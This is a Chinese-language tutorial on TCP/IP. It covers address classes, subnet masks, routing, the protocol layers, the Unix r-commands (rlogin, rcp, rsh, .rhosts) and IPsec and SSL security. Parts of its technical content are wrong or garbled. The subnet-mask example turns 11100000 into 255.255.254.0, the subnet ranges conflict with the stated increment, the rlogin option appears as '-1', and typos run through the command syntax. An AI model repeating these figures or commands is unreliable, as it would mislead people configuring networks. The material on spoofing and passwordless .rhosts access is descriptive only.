A类 w.x.y.z w x.y.z
B类 w.x.y.z w.x y.z
C类 w.x.y.z w.x.y z
我们来看一下这5类地址:
A类地址:可以拥有很大数量的主机,最高位为0,紧跟的7位表示网络号,余24位表示主机号,总共允许有126个网络。
B类地址:被分配到中等规模和大规模的网络中,最高两位总被置于二进制的10,允许有16384个网络。
C类地址:被用于局域网。高三位被置为二进制的110,允许大约200万个网络。
D类地址:被用于多路广播组用户,高四位总被置为1110,余下的位用于标明客户机所属的组。
E类地址是一种仅供试验的地址。

3、地址分配指南

在分配网络号和主机号时应遵守以下几条准则:
(1)网络号不能为127。大家知道该标识号被保留作回路及诊断功能,还记得平时ping
127.0.0.1?
(2)不能将网络号和主机号的各位均置1。如果每一位都是1的话,该地址会被解释为网内
广播而不是一个主机号。(TCP/IP是一个可广播的协议嘛)
(3)相应于上面一条,各位均不能置0,否则该地址被解释为“就是本网络”。
(4)对于本网络来说,主机号应该是唯一。(否则会出现IP地址已分配或有冲突之类的错误)

分配网络号
对于每个网络以及广域连接,必须有唯一的网络号,主机号用于区分同一物理网络中的不同主机。如果网络由路由器连接,则每个广域连接都需要唯一的网络号。

分配主机号
主机号用于区分同一网络中不同的主机,并且主机号应该是唯一的。所有的主机包括路由器间的接口,都应该有唯一的网络号。路由器的主机号,要配置成工作站的缺省网关地址。

有效的主机号
A类:w.0.0.1--w.255.255.254
B类:w.x.0.1--w.x.255.254
C类:w.x.y.1--w.x.y.254


4、子网屏蔽和IP地址

TCP/IP上的每台主机都需要用一个子网屏蔽号。它是一个4字节的地址,用来封装或“屏蔽”IP地址的一部分,以区分网络号和主机号。当网络还没有划分为子网时,可以使用缺省的子网屏蔽;当网络被划分为若干个子网时,就要使用自定义的子网屏蔽了。

缺省值
我们来看看缺省的子网屏蔽值,它用于一个还没有划分子网的网络。即使是在一个单段网络上,每台主机也都需要这样的缺省值。
它的形式依赖于网络的地址类型。在它的4个字节里,所有对应网络号的位都被置为1,于是每个八位体的十进制值都是255;所有对就主机号的位都置为0。例如:C类网地址192.168.0.1和相应的缺省屏蔽值255.255.255.0。

确定数据包的目的地址
我们说把屏蔽值和IP地址值做“与”的操作其实是一个内部过程,它用来确定一个数据包是传给本地还是远程网络上的主机。其相应的操作过程是这样的:当TCP/IP初始化时,主机的IP地址和子网屏蔽值相“与”。在数据包被发送之前,再把目的地址也和屏蔽值作“与”,这样如果发现源IP地址和目的IP地址相匹配,IP协议就知道数据包属于本地网上的某台主机;否则数据包将被送到路由器上。
注:我们知道“与”操作是将IP地址中的每一位与子网屏蔽中相应的位按逻辑与作比较。

建立子网

1、 子网简介


一个网络实际上可能会有多个物理网段,我们把这些网段称之为子网,其使用的IP地址是由某个网络号派生而得到的。
将一个网络划分成若干个子网,需要使用不同的网络号或子网号。当然了,划分子网有它的优点,通过划分子网,每个单位可以将复杂的物理网段连接成一个网络,并且可以:
(1) 混合使用多种技术,比如以太网和令牌环网。(最流行的两种接口都支持了哦)

(2) 克服当前技术的限制,比如突破每段主机的最大数量限制。
(3) 通过重定向传输以及减少广播等传输方式以减轻网络的拥挤。

实现子网划分
在动手划分子网之前,我们一定要先分析一下自己的需求以及将来的规划。一般情况下我们遵循这样的准则:
(1) 确定网络中的物理段数量。(就是子网个数嘛)
(2) 确定每个子网需要的主机数。注意一个主机至少一个IP地址。
(3) 基于此需求,定义:整个网络的子网屏蔽、每个子网唯一的子网号和每个子网的主机号范围。

子网屏蔽位
在定义一个子网屏蔽之前,确定一下将来需要的子网数量及每子网的主机数是必不可少的一步。因为当更多的位用于子网屏蔽时,就有更多的可用子网了,但每个子网中的主机数将减少。(这和定义IP地址的概念正好相反)



2、定义子网屏蔽
将网络划分成若干个子网时,必须要定义好子网屏蔽。我们来看看定义的步骤:
(1)确定物理网段也就是子网的个数,并将这个数字转换成二进制数。比如B类地址,分6个子网就是110。
(2)计算物理网段数(子网数)的二进制位数,这里是110,所以需要3位。
(3)以高位顺序(从左到右)将这个反码转换成相应的十进制值,因为需要3位,就将主机号前3位作为子网号,这里是11100000,所以屏蔽就是255.255.254.0。

3、定义子网号
子网号与子网屏蔽的位数相同。
(1)列出子网号按高到低的顺序使用的位数。例如子网屏蔽使用了3位,二进制值是11100000。
(2)将最低的一位1转换成十进制,用这个值来定义子网的增量。这个例子中是1110,所以增量是32。
(3)用这个增量迭加从0开始的子网号,直到下一个值为256。这个例子中就是w.x.32.1-w.x.63.254、w.x.64.1-w.x.127.254等。

4、定义子网中的主机号
从上面的例子看出,一旦定义了子网号,就已经确定了每个子网的主机号了。我们在做每次增量后得出的值表明了子网中主机号范围的起始值。
确定每个子网中的主机数目
(1)计算主机号可用的位数。例如在B类网中用3位定义了网络号,那么余下的13位定义了主机号。
(2)将这个余下的位数也就是主机号转换为十进制,再减去1。例如13位值1111111111111转换为十进制的话就是8191,所以这个网络中每个子网的主机数就是8190了。

--------------------------------------------------------------------------------

实现IP路由

1、IP路由简介

路由就是选择一条数据包传输路径的过程。当TCP/IP主机发送IP数据包时,便出现了路由,且当到达IP路由器还会再次出现。路由器是从一个物理网向另一个物理网发送数据包的装置,路由器通常被称为网关。对于发送的主机和路由器而言,必须决定向哪里转发数据包。在决定路由时,IP层查询位于内存中的路由表。
(1)当一个主机试图与另一个主机通信时,IP首先决定目的主机是一个本地网还是远程网。
(2)如果目的主机是远程网,IP将查询路由表来为远程主机或远程网选择一个路由。
(3)若未找到明确的路由,IP用缺省的网关地址将一个数据传送给另一个路由器。
(4)在该路由器中,路由表再次为远程主机或网络查询路由,若还未找到路由,该数据包将发送到该路由器的缺省网关地址。
每发现一条路由,数据包被转送下一级路由器,称为一次“跳步”,并最终发送至目的主机。
若未发现任何一个路由,源主机将收到一个出错信息。

--------------------------------------------------------------------------------

TCP/IP协议介绍

TCP/IP的通讯协议


这部分简要介绍一下TCP/IP的内部结构,为讨论与互联网有关的安全问题打下基础。TCP/IP协议组之所以流行,部分原因是因为它可以用在各种各样的信道和底层协议(例如T1和X.25、以太网以及RS-232串行接口)之上。确切地说,TCP/IP协议是一组包括TCP协议和IP协议,UDP(User Datagram Protocol)协议、ICMP(Internet Control Message Protocol)协议和其他一些协议的协议组。



TCP/IP整体构架概述



TCP/IP协议并不完全符合OSI的七层参考模型。传统的开放式系统互连参考模型,是一种通信协议的7层抽象的参考模型,其中每一层执行某一特定任务。该模型的目的是使各种硬件在相同的层次上相互通信。这7层是:物理层、数据链路层、网路层、传输层、话路层、表示层和应用层。而TCP/IP通讯协议采用了4层的层级结构,每一层都呼叫它的下一层所提供的网络来完成自己的需求。这4层分别为:



应用层:应用程序间沟通的层,如简单电子邮件传输(SMTP)、文件传输协议(FTP)、网络远程访问协议(Telnet)等。


传输层:在此层中,它提供了节点间的数据传送服务,如传输控制协议(TCP)、用户数据报协议(UDP)等,TCP和UDP给数据包加入传输数据并把它传输到下一层中,这一层负责传送数据,并且确定数据已被送达并接收。


互连网络层:负责提供基本的数据封包传送功能,让每一块数据包都能够到达目的主机(但不检查是否被正确接收),如网际协议(IP)。


网络接口层:对实际的网络媒体的管理,定义如何使用实际网络(如Ethernet、Serial Line等)来传送数据。
TCP/IP中的协议



以下简单介绍TCP/IP中的协议都具备什么样的功能,都是如何工作的:

1. IP

网际协议IP是TCP/IP的心脏,也是网络层中最重要的协议。

IP层接收由更低层(网络接口层例如以太网设备驱动程序)发来的数据包,并把该数据包发送到更高层---TCP或UDP层;相反,IP层也把从TCP或UDP层接收来的数据包传送到更低层。IP数据包是不可靠的,因为IP并没有做任何事情来确认数据包是按顺序发送的或者没有被破坏。IP数据包中含有发送它的主机的地址(源地址)和接收它的主机的地址(目的地址)。

高层的TCP和UDP服务在接收数据包时,通常假设包中的源地址是有效的。也可以这样说,IP地址形成了许多服务的认证基础,这些服务相信数据包是从一个有效的主机发送来的。IP确认包含一个选项,叫作IP source routing,可以用来指定一条源地址和目的地址之间的直接路径。对于一些TCP和UDP的服务来说,使用了该选项的IP包好象是从路径上的最后一个系统传递过来的,而不是来自于它的真实地点。这个选项是为了测试而存在的,说明了它可以被用来欺骗系统来进行平常是被禁止的连接。那么,许多依靠IP源地址做确认的服务将产生问题并且会被非法入侵。

2. TCP

如果IP数据包中有已经封好的TCP数据包,那么IP将把它们向‘上’传送到TCP层。TCP将包排序并进行错误检查,同时实现虚电路间的连接。TCP数据包中包括序号和确认,所以未按照顺序收到的包可以被排序,而损坏的包可以被重传。

TCP将它的信息送到更高层的应用程序,例如Telnet的服务程序和客户程序。应用程序轮流将信息送回TCP层,TCP层便将它们向下传送到IP层,设备驱动程序和物理介质,最后到接收方。

面向连接的服务(例如Telnet、FTP、rlogin、X Windows和SMTP)需要高度的可靠性,所以它们使用了TCP。DNS在某些情况下使用TCP(发送和接收域名数据库),但使用UDP传送有关单个主机的信息。

3.UDP

UDP与TCP位于同一层,但对于数据包的顺序错误或重发。因此,UDP不被应用于那些使用虚电路的面向连接的服务,UDP主要用于那些面向查询---应答的服务,例如NFS。相对于FTP或Telnet,这些服务需要交换的信息量较小。使用UDP的服务包括NTP(网落时间协议)和DNS(DNS也使用TCP)。

欺骗UDP包比欺骗TCP包更容易,因为UDP没有建立初始化连接(也可以称为握手)(因为在两个系统间没有虚电路),也就是说,与UDP相关的服务面临着更大的危险。

4.ICMP

ICMP与IP位于同一层,它被用来传送IP的的控制信息。它主要是用来提供有关通向目的地址的路径信息。ICMP的‘Redirect’信息通知主机通向其他系统的更准确的路径,而‘Unreachable’信息则指出路径有问题。另外,如果路径不可用了,ICMP可以使TCP连接‘体面地’终止。PING是最常用的基于ICMP的服务。

5. TCP和UDP的端口结构

TCP和UDP服务通常有一个客户/服务器的关系,例如,一个Telnet服务进程开始在系统上处于空闲状态,等待着连接。用户使用Telnet客户程序与服务进程建立一个连接。客户程序向服务进程写入信息,服务进程读出信息并发出响应,客户程序读出响应并向用户报告。因而,这个连接是双工的,可以用来进行读写。

两个系统间的多重Telnet连接是如何相互确认并协调一致呢?TCP或UDP连接唯一地使用每个信息中的如下四项进行确认:



源IP地址---发送包的IP地址。


目的IP地址---接收包的IP地址。


源端口---源系统上的连接的端口。


目的端口---目的系统上的连接的端口。


端口是一个软件结构,被客户程序或服务进程用来发送和接收信息。一个端口对应一个16比特的数。服务进程通常使用一个固定的端口,例如,SMTP使用25、Xwindows使用6000。这些端口号是‘广为人知’的,因为在建立与特定的主机或服务的连接时,需要这些地址和目的地址进行通讯。

--------------------------------------------------------------------------------

TCP/IP远程访问操作

TCP/IP网络通信软件包使用远程访问的命令,这些命令首先是由UC Berkely为Arpanet开发的。它允许您远程注册到另一个系统中,并从一个系统复制文件到另一个系统。您能取得关于一个系统的信息,比如当前谁正在注册使用。调用一个系统的地址时,这些远程命令使用域名或IP地址。和TCP/IP远程访问命令一样,域名地址开始好是为在Arpanet上使用而设计。

许多TCP/IP命令可以和用在Internet上的网络通信功能相比较。例如,用TCP/IP命令rlogin可以远程注册到一个系统,它和telnet相似。rcp命令能远程复制文件,它执行和ftp相同的功能。TCP/IP命令的不同之处是它们提供给用户的易用和易控制性。您能很容易地访问在不同的Unix或Linux系统中的帐号,并且能控制访问这些帐号但没有提供口令的用户。事实上您能提供给不同的用户提供关于您的帐号的一种组权限。

一、TCP/IP网络系统信息:rwho,uptime和ping

这些命令是一些TCP/IP命令,通过它们,您能从网络中的不同系统上取得信息。您能找到谁正在注册,得到另一个系统中用户的信息,或查询一个系统是否正在运行。例如,rwho命令和who命令的功能很相似。它显示网络中的每个系统的当前注册的用户。

$rwho

violet robert:tty1 Sept 10 10:34

garnet chris:tty2 Sept 10 09:22

命令ruptime可以显示网络中的每个系统的信息。此信息能显示出每个系统是如何执行。ruptime显示系统是否运行,它运行了多久,系统中的用户数和系统在最后5、10和15分钟内的系统负荷。

$ruptime

violet up 11+04:10, 8 users, load 1.20 1.10

garnet up 11+04:10, 20 users, load 1.50 1.30

命令ping能检测出系统是否启动和运行。ping命令加上您想检测的系统名做为参数,下面的例子将检测violet是否启动并连接在网络中。

$ping violet

violet is alive

$

如果您想检测的系统已经关机,将得到一个如下的响应。这种情况下,garnet是关闭并没有连接到网络中。

$ping garnet

no answer from garnet

$



二、远程访问权限:.rhosts



您能用.rhosts文件控制使用TCP/IP命令对您帐号的访问。用户能用标准的编辑器象Vi来创建他们帐号中的.rhosts文件。它必须位于用户的主目录。下面的例子中,使用者显示文件.rhosts文件的内容。

$cat.rhosts

garnet chris

ciolet robert

使用.rhosts文件是一种允许用户不提供口令而访问您的系统的简单方法。如果需要禁止此用户访问,只须简单地从文件.rhost中删除系统各和用户注册名。如果一个用户的注册名和系统名在文件.rhost中,那么此用户即呆不提供口令直接访问系统。并不是所有的远程注册操作都需要这种访问形式(您能用输入口令的方式来替代);但一些远程命令要求有.rhosts文件,象远程复制文件或远程执行Linux命令。如果您想在远程系统的帐号中招待这些命令,此帐号的.rhosts文件中必须有您 的注册名和系统名。

通过.rhosts对某一系统进行访问时,也允许您使用TCP/IP命令直接访问系统中您的其他帐号。您不需要先注册到这些帐号中。可以把系统中您的其他帐号做为当前注册帐号的扩展。不管文件牌佻 的哪个账号下,都可以用frcp命令从一个目录复制到另一个目录。用命令rsh,可以在您的其他帐号中招待任何Linux命令。



三、远程注册:rlogin



您可能在网络中的不同系统上都有自己的帐号,或者可以访问别人在另一个系统上的帐号。要访问别的系统中的帐号,首先要注册到您的系统中,接着通过网络远程注册到帐号所在的系统中。用命令rlogin可以远程注册支别的系统。命令的参数应是一个系统名。命令将把您连接到另一个系统中并开始注册的过程.

用rlogin的注册过程和一般的注册过程有所不同,用rlogin时用户不被提示输入注册名。rlogin假设您的本地系统中的注册名和远程系统中的一致。所以象上面执行rlogin命令时,您将马上被提示输入口令。输入口令后,您即可进入远程系统各的帐号。

用rlogin假设注册各是相同的,因为大多数的人用rlogin访问别的系统中的注册名一般和本地的注册名是相同的。然而,当远程系统中的注册名和本地系统的不同时,选项1-允许您输入远程系统帐户的不同的注册名。语法如下所示:

$rlogin sys tem-name -1 login-name

在下面的例子中,用户使用注册名robert注册到violet的系统中。

$rlogin violet-1 robert

password

$

: 一旦注册到远程系统中,您能执行任何命令。可以用exit、CTRL-d或logout(TCSH或C-shell)结束连接。



四、远程复制文件:rcp



您能用命令rcp从远程系统复制文件到本地系统中。rcp执行文件传输的功能,它的操作和cp命令很相似,但它是通过网络连接到另一系统。执行命令rcp时要求远程系统的。rhosts文件中有您的本地系统名和注册各。命令rcp用关键字rcp开头,参数为源文件名和复制的目标文件名。为了指定文件在远程系统中,您需要在文件名前放置一个系统名,两者之间用冒号分隔,如下所示:

$rcp sys tem-name:source-file slystem-name:copy-file

当复制一个文件到远程系统中时,复制的目标文件是远程文件,它要求带有系统名。而源文件在您的本机系统中,不要求系统名:

$rcp source-file remote-sys tem-name:copy-file

在下面的例子中,用户从自己的系统中复制文件weather到远程系统violet并重命名为monday.

$rcp weather violet:Monday

从远程系统中复制一个文件到本地时,源文件是远程文件,它要求带有系统名。而复制的目标文件在您的本机系统中,不要求系统名:

$rcp remote-sys tem-name:source-file copy-file

在下面的例子中,用户从远程系统之间复制整个目录。rcp命令加上-r选项将从一个系统复制一个目录和它的子目录到另一个系统。象cp命令一样,rcp要求一个源目录和复制目录。在远程系统中的目录要求系统名和一个以分隔系统名和目录名的冒号,以及目录名。当从您的系统复制目录到一个远程系统,则在远程系统中的复制目录需要远程系统名。

$rcp -r source-directory remote-sys tem-name:copy-directory

在下面的例子中,使用者把目录letters复制到远程系统violet中的目录oldnotes中。

$rcp-r letters violet:oldnotes

当从您的系统复制一个远程系统中的目录到本地时,在远程系统中的源目录需要远程系统名。

$rcp-r remote-sys tem-name:source-directory copy-directory

在下面的例子中,使用者把远程系统violet中的目录birthdays复制到本地的目录party中。

$rcp-r violet:birthdays party

同时,您可以用星号指定名字,或用圆点引用当前目录。对于Shell的特殊字符,是由您的本地系统进行解释转换,而不是远程系统。为了使远程系统解释转换一个特定字符,您必须通进某种方式引用它。为了复制远程系统种所有带扩展名.c的文件到您的系统中,您需要用特殊字符-星号:*.c来指定所有的带扩展名.c的文件。您必须注意引用星号的方式。下面的例子中,在系统violet中的带.c扩展名的文件被复制到使用者的系统中。注意,星号是通过一个反斜杠引用。而最后的圆点,表示当前的目录,并没被引用。它是由您的本地系统解释并转换的。

$rcp violet:\*.c

下面的例子中,目录report将从使用者的本地系统复制到远程系统的当前目录中。注意圆点被引用,它将被远程系统解释转换。

$rcp -r reports violet:\.



五、远程执行:rsh



您可能需要在远程系统中执行一个命令。rsh命令将在远程Linux系统上执行一个命令并把结果显示到您的系统中。当然,您的系统名和注册名必须在远程系统的.rhosts文件中,命令rsh有两个一般的参数,一个系统名和一个Linux命令。语法如下所示:

$rsh remote-sytem-neame Linux-command

在下面的例子中,rsh命令将在远程系统violet中执行一个ls命令以列出在violet中目录/home/robert中的文件。

$rsh violet ls /home/robert

除非是引用特定字符,否则它将被本李系统解释转换,对于控制标准输出的特殊字符更是如此,象重定向或管道字符。下面的例了中列出远程系统上的文件,并把它们送到本系统中的标准输出。重定向操作由本地系统解释,并把输出改向到本地系统中的文件myfiles中。

$rsh violet ls /home/robert>myfiles

如您引用一个特定字符,它将成为Linux命令的一部分被远程系统解释。引用重定向操作符将允许您在远程系统中执行重定向操作。下面的例子中,引用一个重定向操作符。它变成Linux命令的一部分,包括命令的参数,文件名myfile。命令ls产生一列文件名并把它们重定向到远程系统中的一个文件myfile中。

$rsh violet ls /home/robert'>'myfiles

对于管道操作也是如此。下面例子中第一个命令输出一列文件到本地的打印机中。标准的输出能过管道输出到您的在线打印机中。第二个命令中,一列文件将输出远程系统的打印机上。管道线被远程系统解释。输送标准输出到远程系统的打印机上。


--------------------------------------------------------------------------------

(安全篇)

TCP/IP的层次不同提供的安全性也不同,例如,在网络层提供虚拟私用网络,在传输层提供安全套接服务。下面将分别介绍TCP/IP不同层次的安全性和提高各层安全性的方法。

  一、Internet层的安全性

  对Internet层的安全协议进行标准化的想法早就有了。在过去十年里,已经提出 了一些方案。例如,“安全协议3号(SP3)”就是美国国家安全局以及标准技术协 会作为“安全数据网络系统(SDNS)”的一部分而制定的。“网络层安全协议(NLS P)”是由国际标准化组织为“无连接网络协议(CLNP)”制定的安全协议标准。 “集成化NLSP(I-NLSP)”是美国国家科技研究所提出的包括IP和CLNP在内的统一 安全机制。SwIPe是另一个Intenet层的安全协议,由Ioannidis和Blaze提出并实 现原型。所有这些提案的共同点多于不同点。事实上,他们用的都是IP封装技术。 其本质是,纯文本的包被加密,封装在外层的IP报头里,用来对加密的包进行In ternet上的路由选择。到达另一端时,外层的IP报头被拆开,报文被解密,然后 送到收报地点。

  Internet工程特遣组(IETF)已经特许Internet协议安全协议(IPSEC)工作组对IP安 全协议(IPSP)和对应的Internet密钥管理协议(IKMP)进行标准化工作。IPSP的主 要目的是使需要安全措施的用户能够使用相应的加密安全体制。该体制不仅能在 目前通行的IP(IPv4)下工作,也能在IP的新版本(IPng或IPv6)下工作。该体制应 该是与算法无关的,即使加密算法替换了,也不对其他部分的实现产生影响。此 外,该体制必须能实行多种安全政策,但要避免给不使用该体制的人造成不利影 响。按照这些要求,IPSEC工作组制订了一个规范:认证头(Authentication Hea der,AH)和封装安全有效负荷(Encapsulating Security Payload,ESP)。简言之, AH提供IP包的真实性和完整性,ESP提供机要内容。

  IP AH指一段消息认证代码(Message Authentication Code,MAC),在发送IP包之 前,它已经被事先计算好。发送方用一个加密密钥算出AH,接收方用同一或另一 密钥对之进行验证。如果收发双方使用的是单钥体制,那它们就使用同一密钥; 如果收发双方使用的是公钥体制,那它们就使用不同的密钥。在后一种情形,AH 体制能额外地提供不可否认的服务。事实上,有些在传输中可变的域,如IPv4中 的time-to-live域或IPv6中的hop limit域,都是在AH的计算中必须忽略不计的。 RFC 1828首次规定了加封状态下AH的计算和验证中要采用带密钥的MD5算法。而与 此同时,MD5和加封状态都被批评为加密强度太弱,并有替换的方案提出。

  IP ESP的基本想法是整个IP包进行封装,或者只对ESP内上层协议的数据(运输状 态)进行封装,并对ESP的绝大部分数据进行加密。在管道状态下,为当前已加密 的ESP附加了一个新的IP头(纯文本),它可以用来对IP包在Internet上作路由选择。 接收方把这个IP头取掉,再对ESP进行解密,处理并取掉ESP头,再对原来的IP包 或更高层协议的数据就象普通的IP包那样进行处理。RFC 1827中对ESP的格式作了 规定,RFC 1829中规定了在密码块链接(CBC)状态下ESP加密和解密要使用数据加 密标准(DES)。虽然其他算法和状态也是可以使用的,但一些国家对此类产品的进 出口控制也是不能不考虑的因素。有些国家甚至连私用加密都要限制。

  AH与ESP体制可以合用,也可以分用。不管怎么用,都逃不脱传输分析的攻击。人 们不太清楚在Internet层上,是否真有经济有效的对抗传输分析的手段,但是在 Internet用户里,真正把传输分析当回事儿的也是寥寥无几。

  1995年8月,Internet工程领导小组(IESG)批准了有关IPSP的RFC作为Internet标 准系列的推荐标准。除RFC 1828和RFC 1829外,还有两个实验性的RFC文件,规定 了在AH和ESP体制中,用安全散列算法(SHA)来代替MD5(RFC 1852)和用三元DES代 替DES(RFC 1851)。

  在最简单的情况下,IPSP用手工来配置密钥。然而,当IPSP大规模发展的时候,就需要在Internet上建立标准化的密钥管理协议。这个密钥管理协议按照IPSP安全条例的要求,指定管理密钥的方法。
  因此,IPSEC工作组也负责进行Internet密钥管理协议(IKMP),其他若干协议的标准化工作也已经提上日程。其中最重要的有:

IBM 提出的“标准密钥管理协议(MKMP)”
SUN 提出的“Internet协议的简单密钥管理(SKIP)”
Phil Karn 提出的“Photuris密钥管理协议”
Hugo Krawczik 提出的“安全密钥交换机制(SKEME)”
NSA 提出的“Internet安全条例及密钥管理协议”
Hilarie Orman 提出的“OAKLEY密钥决定协议”

  在这里需要再次强调指出,这些协议草案的相似点多于不同点。除MKMP外,它们都要求一个既存的、完全可操作的公钥基础设施(PKI)。MKMP没有这个要求,因为它假定双方已经共同知道一个主密钥(Master Key),可能是事先手工发布的。SK IP要求Diffie-Hellman证书,其他协议则要求RSA证书。

  1996年9月,IPSEC决定采用OAKLEY作为ISAKMP框架下强制推行的密钥管理手段, 采用SKIP作为IPv4和IPv6实现时的优先选择。目前已经有一些厂商实现了合成的 ISAKMP/OAKLEY方案。

  Photuris以及类Photuris的协议的基本想法是对每一个会 话密钥都采用Diffie-Hellman密钥交换机制,并随后采用签名交换来确认Diffie --Hellman参数,确保没有“中间人”进行攻击。这种组合最初是由Diffie、Oos chot和Wiener在一个“站对站(STS)”的协议中提出的。Photuris里面又添加了一 种所谓的“cookie”交换,它可以提供“清障(anti-logging)”功能,即防范对 服务攻击的否认。 Photuris以及类Photuris的协议由于对每一个会话密钥都采用Diffie-Hellman密 钥交换机制,故可提供回传保护(back-traffic protection,BTP)和完整转发安 全性(perfect-forward secrecy,PFS)。实质上,这意味着一旦某个攻击者破解 了长效私钥,比如Photuris中的RSA密钥或SKIP中的Diffie-Hellman密钥,所有其 他攻击者就可以冒充被破解的密码的拥有者。但是,攻击者却不一定有本事破解 该拥有者过去或未来收发的信息。

  值得注意的是,SKIP并不提供BTP和PFS。尽管它采用Diffie-Hellman密钥交换机 制,但交换的进行是隐含的,也就是说,两个实体以证书形式彼此知道对方长效 Diffie--Hellman 公钥,从而隐含地共享一个主密钥。该主密钥可以导出对分组 密钥进行加密的密钥,而分组密钥才真正用来对IP包加密。一旦长效Diffie-Hel lman密钥泄露,,则任何在该密钥保护下的密钥所保护的相应通信都将被破解。 而且SKIP是无状态的,它不以安全条例为基础。每个IP包可能是个别地进行加密 和解密的,归根到底用的是不同的密钥。

  SKIP不提供BTP和PFS这件事曾经引起IPSEC工作组内部的批评,该协议也曾进行过 扩充,试图提供BTP和PFS。但是,扩充后的SKIP协议版本其实是在BTP和PFS功能 的提供该协议的无状态性之间的某种折衷。实际上,增加了BTP和PFS功能的SKIP 非常类似于Photuris以及类Photuris的协议,唯一的主要区别是SKIP(仍然)需要 原来的Diffie-Hellman证书。这一点必须注意:目前在Internet上,RSA证书比其 他证书更容易实现和开展业务。

  大多数IPSP及其相应的密钥管理协议的实现均基于Unix系统。任何IPSP的实现都 必须跟对应协议栈的源码纠缠在一起,而这源码又能在Unix系统上使用,其原因 大概就在于此。但是,如果要想在Internet上更广泛地使用和采纳安全协议,就 必须有相应的DOS或Windows版本。而在这些系统上实现Internet层安全协议所直 接面临的一个问题就是,PC上相应的实现TCP/IP的公共源码资源什么也没有。为 克服这一困难,Wagner和Bellovin实现了一个IPSEC模块,它象一个设备驱动程序 一样工作,完全处于IP层以下。

  Internet层安全性的主要优点是它的透明性,也就是说,安全服务的提供不需要 应用程序、其他通信层次和网络部件做任何改动。它的最主要的缺点是: Intern et层一般对属于不同进程和相应条例的包不作区别。对所有去往同一地址的包, 它将按照同样的加密密钥和访问控制策略来处理。这可能导致提供不了所需的功 能,也会导致性能下降。针对面向主机的密钥分配的这些问题,RFC 1825允许(甚 至可以说是推荐) 使用面向用户的密钥分配,其中,不同的连接会得到不同的加 密密钥。但是,面向用户的密钥分配需要对相应的操作系统内核作比较大的改动。

  虽然IPSP的规范已经基本制订完毕,但密钥管理的情况千变万化,要做的工作还 很多。尚未引起足够重视的一个重要的问题是在多播 (multicast)环境下的密钥 分配问题,例如,在Internet多播骨干网(MBone)或IPv6网中的密钥分配问题。

  简而言之,Internet层是非常适合提供基于主机对主机的安全服务的。相应的安 全协议可以用来在Internet上建立安全的IP通道和虚拟私有网。例如,利用它对 IP包的加密和解密功能,可以简捷地强化防火墙系统的防卫能力。事实上,许多厂商已经这样做了。RSA数据安全公司已经发起了一个倡议,来推进多家防火墙和 TCP/IP软件厂商联合开发虚拟私有网。该倡议被称为S-WAN(安全广域网)倡议。其 目标是制订和推荐Internet层的安全协议标准。

  二、传输层的安全性

  在Internet应用编程序中,通常使用广义的进程间通信(IPC)机制来与不同层次的 安全协议打交道。比较流行的两个IPC编程界面是BSD Sockets和传输层界面(TLI), 在Unix系统V命令里可以找到。

  在Internet中提供安全服务的首先一个想法便是强化它的IPC界面,如BSD Socke ts等,具体做法包括双端实体的认证,数据加密密钥的交换等。Netscape通信公 司遵循了这个思路,制定了建立在可靠的传输服务(如TCP/IP所提供)基础上的安 全套接层协议(SSL)。SSL版本3(SSL v3)于1995年12月制定。它主要包含以下两个 协议:

  SSL记录协议 它涉及应用程序提供的信息的分段、压缩、数据认证和加密。SSL v3提供对数据认证用的MD5和SHA以及数据加密用的R4和DES等的支持,用来对数据 进行认证和加密的密钥可以通过SSL的握手协议来协商。

  SSL握手协议 用来交换版本号、加密算法、(相互)身份认证并交换密钥。SSL v3 提供对Deffie-Hellman密钥交换算法、基于RSA的密钥交换机制和另一种实现在 Fortezza chip上的密钥交换机制的支持。

  Netscape通信公司已经向公众推出了SSL的参考实现(称为SSLref)。另一免费的S SL实现叫做SSLeay。SSLref和SSLeay均可给任何TCP/IP应用提供SSL功能。Inter net号码分配当局(IANA)已经为具备SSL功能的应用分配了固定端口号,例如,带 SSL的 HTTP(https)被分配的端口号为443,带SSL的SMTP(ssmtp)被分配的端口号 为465,带SSL的NNTP(snntp)被分配的端口号为563。

  微软推出了SSL2的改进版本称为PCT(私人通信技术)。至少从它使用的记录格式来 看,SSL和PCT是十分相似的。它们的主要差别是它们在版本号字段的最显著位(T he Most Significant Bit)上的取值有所不同: SSL该位取0,PCT该位取1。这样 区分之后,就可以对这两个协议都给以支持。

  1996年4月,IETF授权一个传输层安全(TLS)工作组着手制定一个传输层安全协议 (TLSP),以便作为标准提案向IESG正式提交。TLSP将会在许多地方酷似SSL。 前面已介绍Internet层安全机制的主要优点是它的透明性,即安全服务的提供不 要求应用层做任何改变。这对传输层来说是做不到的。原则上,任何TCP/IP应用, 只要应用传输层安全协议,比如说SSL或PCT,就必定要进行若干修改以增加相应 的功能,并使用(稍微)不同的IPC界面。于是,传输层安全机制的主要缺点就是要 对传输层IPC界面和应用程序两端都进行修改。可是,比起Internet层和应用层的 安全机制来,这里的修改还是相当小的。另一个缺点是,基于UDP的通信很难在传 输层建立起安全机制来。同网络层安全机制相比,传输层安全机制的主要优点是 它提供基于进程对进程的(而不是主机对主机的)安全服务。这一成就如果再加上 应用级的安全服务,就可以再向前跨越一大步了。

  三、应用层的安全性

  必须牢记(且须仔细品味): 网络层(传输层)的安全协议允许为主机(进程)之间的 数据通道增加安全属性。本质上,这意味着真正的(或许再加上机密的)数据通道 还是建立在主机(或进程)之间,但却不可能区分在同一通道上传输的一个具体文 件的安全性要求。比如说,如果一个主机与另一个主机之间建立起一条安全的IP 通道,那么所有在这条通道上传输的IP包就都要自动地被加密。同样,如果一个 进程和另一个进程之间通过传输层安全协议建立起了一条安全的数据通道,那么 两个进程间传输的所有消息就都要自动地被加密。

  如果确实想要区分一个具体文件的不同的安全性要求,那就必须借助于应用层的 安全性。提供应用层的安全服务实际上是最灵活的处理单个文件安全性的手段。 例如一个电子邮件系统可能需要对要发出的信件的个别段落实施数据签名。较低 层的协议提供的安全功能一般不会知道任何要发出的信件的段落结构,从而不可 能知道该对哪一部分进行签名。只有应用层是唯一能够提供这种安全服务的层次。

  一般来说,在应用层提供安全服务有几种可能的做法,第一个想到的做法大概就 是对每个应用(及应用协议)分别进行修改。一些重要的TCP/IP应用已经这样做了。 在RFC 1421至1424中,IETF规定了私用强化邮件(PEM)来为基于SMTP的电子邮件系 统提供安全服务。由于种种理由,Internet业界采纳PEM的步子还是太慢,一个主 要的原因是PEM依赖于一个既存的、完全可操作的PKI(公钥基础结构)。PEM PKI是 按层次组织的,由下述三个层次构成:

  顶层为Internet安全政策登记机构(IPRA)
  次层为安全政策证书颁发机构(PCA)
  底层为证书颁发机构(CA)

